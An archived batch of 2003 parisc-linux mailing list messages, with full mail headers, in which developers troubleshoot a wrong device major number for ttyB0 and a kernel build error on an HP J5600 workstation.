On Mon, Jun 30, 2003 at 08:54:38PM +0300, Dub wrote:
> Jun 27 15:08:47 smsmail4 modprobe: modprobe: Can't locate module char-major-60

ttyB0 has the wrong major number.  It needs to be character major 11.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dub <dub@latnet.lv>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] modprobe: Can't locate module char-major-60 (server
 hangs!)
Date: Mon, 30 Jun 2003 22:55:22 +0300
Lines: 22
Approved: news@gmane.org
Message-ID: <3F0095AA.4050909@latnet.lv>
References: <1056995678.3f00795e49bf5@clients.latnet.lv> <20030630175811.GK31618@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622550 27384 80.91.229.3 (22 Nov 2014 02:15:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:50 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 30 13:59:46 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.latnet.lv (mail.latnet.lv [159.148.108.208])
	by dsl2.external.hp.com (Postfix) with SMTP id 0B3044829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 30 Jun 2003 13:59:46 -0600 (MDT)
Original-Received: (qmail 2620 invoked by uid 64014); 30 Jun 2003 19:59:44 -0000
Original-Received: from dub@latnet.lv by mail by uid 64011 with qmail-scanner-1.16 
 (clamscan: 0.54.  Clear:. 
 Processed in 0.817529 secs); 30 Jun 2003 19:59:44 -0000
Original-Received: from unknown (HELO latnet.lv) (159.148.113.216)
  by mail.latnet.lv with SMTP; 30 Jun 2003 19:59:43 -0000
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0.2) Gecko/20021120 Netscape/7.01
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18782


Matthew Wilcox wrote:

>On Mon, Jun 30, 2003 at 08:54:38PM +0300, Dub wrote:
>  
>
>>Jun 27 15:08:47 smsmail4 modprobe: modprobe: Can't locate module char-major-60
>>    
>>
>
>ttyB0 has the wrong major number.  It needs to be character major 11.
>
>  
>
Thank you, great! If so, how to fix it in most efficient way?

BR,
Dub





From - Thu Nov 08 21:28:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] byte swapping redux
Date: Tue, 1 Jul 2003 09:29:50 +0200
Lines: 40
Approved: news@gmane.org
Message-ID: <3ED71F6D0000BB03@ocpmta7.freegates.net>
References: <20030630163918.GD14971@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622550 27387 80.91.229.3 (22 Nov 2014 02:15:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:50 +0000 (UTC)
Cc: "Matthew Wilcox" <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  1 01:29:55 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 482EC482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  1 Jul 2003 01:29:55 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19XFYX-00026z-00; Tue, 01 Jul 2003 09:28:01 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Tue, 1 Jul 2003 09:29:50 +0200
In-Reply-To: <20030630163918.GD14971@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18783

Hi Grant,

> For the record, here are the toolchain versions I'm using:
> grundler@ios:~$ ld -v
> GNU ld version 2.14.90.0.1 20030505 Debian GNU/Linux
> grundler@ios:~$ gcc -v
> Reading specs from /usr/lib/gcc-lib/hppa-linux/3.2.3/specs
> Configured with: ../src/configure -v
> --enable-languages=c,c++,f77,objc,ada --prefix=/usr
> --mandir=/usr/share/man --infodir=/usr/share/info
> --with-gxx-include-dir=/usr/include/c++/3.2 --enable-shared
> --with-system-zlib --enable-nls --without-included-gettext
> --enable-__cxa_atexit --enable-clocale=gnu --enable-objc-gc hppa-linux
> Thread model: posix
> gcc version 3.2.3
> grundler@ios:~$ 

Ok, and so is it the same pb with binutils 2.13.90 (if you have the opportunity
to test it)?

> > which Dave fixed in upstream a time ago but (I don't know why) not yet
> > included in debian dpkg.
> 
> Dave isn't responsible for the debian package...find the maintainer.

I will try to find some time to open a pr near debian maintainer ;-)

Thanks,
    Joel

PS: The disk I used to test 64bits kernel on teh N class is broken :(, so
awaiting a spare part and rebuild a system, here I will go to build the kernel
2.4.21-pa0 and 2.4.21-pa1 (in 32bits mode) then objdump all object and diff
them in the hope to find the pb

---------------------------------
Tiscali ADSL: 19,50 euros/mois...abonnez-vous sur www.tiscali.be




From - Thu Nov 08 21:28:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Wood <mwood@its.uct.ac.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] modprobe: Can't locate module char-major-60 (server hangs!)
Date: Tue, 1 Jul 2003 09:45:12 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <20030701074512.GA29010@marmite.its.uct.ac.za>
References: <1056995678.3f00795e49bf5@clients.latnet.lv> <20030630175811.GK31618@parcelfarce.linux.theplanet.co.uk> <3F0095AA.4050909@latnet.lv>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622550 27388 80.91.229.3 (22 Nov 2014 02:15:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Dub <dub@latnet.lv>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  1 01:45:18 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.uct.ac.za (mail.uct.ac.za [137.158.128.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 08AA8482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  1 Jul 2003 01:45:18 -0600 (MDT)
Original-Received: from marmite.its.uct.ac.za ([137.158.26.155])
	by mail.uct.ac.za with esmtp (Exim 3.35 #1)
	id 19XFpB-000JvK-00; Tue, 01 Jul 2003 09:45:13 +0200
Original-Received: by marmite.its.uct.ac.za (Postfix, from userid 1000)
	id E6B0E1A334; Tue,  1 Jul 2003 09:45:12 +0200 (SAST)
Mail-Followup-To: Michael Wood <mwood@its.uct.ac.za>,
	Dub <dub@latnet.lv>, parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <3F0095AA.4050909@latnet.lv>
User-Agent: Mutt/1.5.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18784

On Mon, Jun 30, 2003 at 10:55:22PM +0300, Dub wrote:
> 
> 
> Matthew Wilcox wrote:
> 
> >On Mon, Jun 30, 2003 at 08:54:38PM +0300, Dub wrote:
> > 
> >
> >>Jun 27 15:08:47 smsmail4 modprobe: modprobe: Can't locate module 
> >>char-major-60
> >>   
> >>
> >
> >ttyB0 has the wrong major number.  It needs to be character major 11.
> >
> > 
> >
> Thank you, great! If so, how to fix it in most efficient way?

Boot in single user mode, then:
# cd /dev
# rm ttyB0
# mknod ttyB0 c 11 0

-- 
Michael Wood <mwood@its.uct.ac.za>


From - Thu Nov 08 21:28:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Mark Mestdagh" <Mark.Mestdagh@Icon-Europe.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Kernel compilation for J5600
Date: Tue, 1 Jul 2003 10:10:24 +0200
Lines: 61
Approved: news@gmane.org
Message-ID: <HOEDKHACIIOGKPMMFMCGKEKDCOAA.Mark.Mestdagh@Icon-Europe.com>
References: <20030630165053.GF14971@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622551 27391 80.91.229.3 (22 Nov 2014 02:15:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:51 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  1 02:08:13 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from apate.telenet-ops.be (apate.telenet-ops.be [195.130.132.57])
	by dsl2.external.hp.com (Postfix) with ESMTP id 74BE0482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  1 Jul 2003 02:08:13 -0600 (MDT)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by apate.telenet-ops.be (Postfix) with SMTP id 6736738213
	for <parisc-linux@lists.parisc-linux.org>; Tue,  1 Jul 2003 10:08:12 +0200 (MEST)
Original-Received: from iconbemewin01 (D576CE1B.kabel.telenet.be [213.118.206.27])
	by apate.telenet-ops.be (Postfix) with SMTP id 031C838340
	for <parisc-linux@lists.parisc-linux.org>; Tue,  1 Jul 2003 10:08:12 +0200 (MEST)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Importance: Normal
In-Reply-To: <20030630165053.GF14971@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18785

Grant & others

thanks already for the support. One little problem though is setting up the
CDROM. I followed the settings like the c3000 kernel but still I get a
problem while compiling:

ld: arch/parisc/kernel/kernel.o(.text.show_trace+0x58): fixing
R_PARISC_DPREL21L
drivers/ide/idedriver.o: In function `.L1588':
drivers/ide/idedriver.o(.text.probe_hwif+0xfc): undefined reference to
`local_irq_set'
drivers/ide/idedriver.o: In function `ide_wait_stat':
drivers/ide/idedriver.o(.text.ide_wait_stat+0xe0): undefined reference to
`local_irq_set'
drivers/ide/idedriver.o: In function `ide_config_drive_speed':
drivers/ide/idedriver.o(.text.ide_config_drive_speed+0x1c0): undefined
reference to `local_irq_set'
drivers/ide/idedriver.o: In function `taskfile_dump_status':
drivers/ide/idedriver.o(.text.taskfile_dump_status+0x40): undefined
reference to `local_irq_set'
drivers/ide/idedriver.o: In function `ide_dump_status':
drivers/ide/idedriver.o(.text.ide_dump_status+0x40): undefined reference to
`local_irq_set'
drivers/ide/idedriver.o(.text.ide_spin_wait_hwgroup+0x74): more undefined
references to `local_irq_set' follow
make: *** [vmlinux] Error 1

local_irq_set missing? ;) Hints & tips appriciated.

Thx
Mark


-----Original Message-----
From: parisc-linux-admin@lists.parisc-linux.org
[mailto:parisc-linux-admin@lists.parisc-linux.org]On Behalf Of Grant
Grundler
Sent: maandag 30 juni 2003 18:51
To: Mark Mestdagh
Cc: parisc-linux@lists.parisc-linux.org
Subject: Re: [parisc-linux] Kernel compilation for J5600


On Sun, Jun 29, 2003 at 11:30:26PM -0700, Randolph Chung wrote:
> Why can't you use the prebuilt kernels? kernel-image-2.4.20-32-smp
> supports SMP (and the corresponding 64-bit version too...)

just a reminder...64-bit SMP is not stable yet.
32-bit SMP seems to work fine.

And I park a few "custom" kernels on ftp.parisc-linux.org/kernels/
which include the .config files used to build the kernels.
You want to look at c3000 kernels.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:28:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel compilation for J5600
Date: Tue, 1 Jul 2003 14:21:46 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <20030701132146.GD23597@parcelfarce.linux.theplanet.co.uk>
References: <20030630165053.GF14971@dsl2.external.hp.com> <HOEDKHACIIOGKPMMFMCGKEKDCOAA.Mark.Mestdagh@Icon-Europe.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622551 27392 80.91.229.3 (22 Nov 2014 02:15:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Mark Mestdagh <Mark.Mestdagh@Icon-Europe.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  1 07:21:49 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 03121482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  1 Jul 2003 07:21:48 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19XL4s-0000IC-UO; Tue, 01 Jul 2003 14:21:46 +0100
Content-Disposition: inline
In-Reply-To: <HOEDKHACIIOGKPMMFMCGKEKDCOAA.Mark.Mestdagh@Icon-Europe.com>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18786

On Tue, Jul 01, 2003 at 10:10:24AM +0200, Mark Mestdagh wrote:
> Grant & others
> 
> thanks already for the support. One little problem though is setting up the
> CDROM. I followed the settings like the c3000 kernel but still I get a
> problem while compiling:
> 
> drivers/ide/idedriver.o(.text.probe_hwif+0xfc): undefined reference to
> `local_irq_set'

This is 2.4.21-pa1?

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Mark Mestdagh" <Mark.Mestdagh@Icon-Europe.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Kernel compilation for J5600
Date: Tue, 1 Jul 2003 16:00:31 +0200
Lines: 38
Approved: news@gmane.org
Message-ID: <HOEDKHACIIOGKPMMFMCGKEKFCOAA.Mark.Mestdagh@Icon-Europe.com>
References: <20030701132146.GD23597@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622551 27395 80.91.229.3 (22 Nov 2014 02:15:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:51 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "Matthew Wilcox" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  1 07:58:19 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from apate.telenet-ops.be (apate.telenet-ops.be [195.130.132.57])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1052C482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  1 Jul 2003 07:58:19 -0600 (MDT)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by apate.telenet-ops.be (Postfix) with SMTP
	id 0761837F02; Tue,  1 Jul 2003 15:58:18 +0200 (MEST)
Original-Received: from iconbemewin01 (D576CE1B.kabel.telenet.be [213.118.206.27])
	by apate.telenet-ops.be (Postfix) with SMTP
	id BCA5638088; Tue,  1 Jul 2003 15:58:17 +0200 (MEST)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Importance: Normal
In-Reply-To: <20030701132146.GD23597@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18787

Hi Matthew

it was 2.4.21-pa0, but I cvs'ed to 2.4.21-pa1 and now it's fixed :)

Thanks

Mark

-----Original Message-----
From: willy@www.linux.org.uk [mailto:willy@www.linux.org.uk]On Behalf Of
Matthew Wilcox
Sent: dinsdag 1 juli 2003 15:22
To: Mark Mestdagh
Cc: parisc-linux@lists.parisc-linux.org
Subject: Re: [parisc-linux] Kernel compilation for J5600


On Tue, Jul 01, 2003 at 10:10:24AM +0200, Mark Mestdagh wrote:
> Grant & others
>
> thanks already for the support. One little problem though is setting up
the
> CDROM. I followed the settings like the c3000 kernel but still I get a
> problem while compiling:
>
> drivers/ide/idedriver.o(.text.probe_hwif+0xfc): undefined reference to
> `local_irq_set'

This is 2.4.21-pa1?

--
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead
bodies.
Do you think I want to have an academic debate on this subject?" -- Robert
Fisk



From - Thu Nov 08 21:28:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dub <dub@latnet.lv>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] modprobe: Can't locate module char-major-60 (server hangs!)
Date: Tue, 01 Jul 2003 17:02:04 +0300 (EEST)
Lines: 19
Approved: news@gmane.org
Message-ID: <1057068124.3f01945c8f4be@clients.latnet.lv>
References: <1056995678.3f00795e49bf5@clients.latnet.lv> <20030630175811.GK31618@parcelfarce.linux.theplanet.co.uk> <3F0095AA.4050909@latnet.lv> <20030701074512.GA29010@marmite.its.uct.ac.za>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=KOI8-R
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622551 27403 80.91.229.3 (22 Nov 2014 02:15:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:51 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  1 08:02:07 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.latnet.lv (mail.latnet.lv [159.148.108.208])
	by dsl2.external.hp.com (Postfix) with SMTP id 256E2482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  1 Jul 2003 08:02:06 -0600 (MDT)
Original-Received: (qmail 28039 invoked from network); 1 Jul 2003 14:02:04 -0000
Original-Received: from unknown (HELO sisenis.latnet.lv) (159.148.108.1)
  by mail.latnet.lv with SMTP; 1 Jul 2003 14:02:04 -0000
Original-Received: (qmail 3328 invoked by uid 33); 1 Jul 2003 14:02:04 -0000
In-Reply-To: <20030701074512.GA29010@marmite.its.uct.ac.za>
User-Agent: IMP/PHP IMAP webmail program 2.2.6
X-Originating-IP: 212.93.96.158
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18788

> > >ttyB0 has the wrong major number.  It needs to be character major
> 11.
> > >
> > > 
> > >
> > Thank you, great! If so, how to fix it in most efficient way?
> 
> Boot in single user mode, then:
> # cd /dev
> # rm ttyB0
> # mknod ttyB0 c 11 0
>
> Michael Wood <mwood@its.uct.ac.za>

Thanks a lot, Michael! It works!!!

BR,
Dub 


From - Thu Nov 08 21:28:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel compilation for J5600
Date: Tue, 1 Jul 2003 16:03:27 +0200
Lines: 45
Approved: news@gmane.org
Message-ID: <3ED71F6D0000C050@ocpmta7.freegates.net>
References: <20030701132146.GD23597@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622552 27406 80.91.229.3 (22 Nov 2014 02:15:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Matthew Wilcox" <willy@debian.org>,
	"Mark Mestdagh" <Mark.Mestdagh@Icon-Europe.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  1 08:03:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0FE18482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  1 Jul 2003 08:03:35 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 19XLiD-0007HY-00; Tue, 01 Jul 2003 16:02:25 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Tue, 1 Jul 2003 16:03:27 +0200
In-Reply-To: <20030701132146.GD23597@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18789

Hi all,
 
> > drivers/ide/idedriver.o(.text.probe_hwif+0xfc): undefined reference to
> > `local_irq_set'

> This is 2.4.21-pa1?

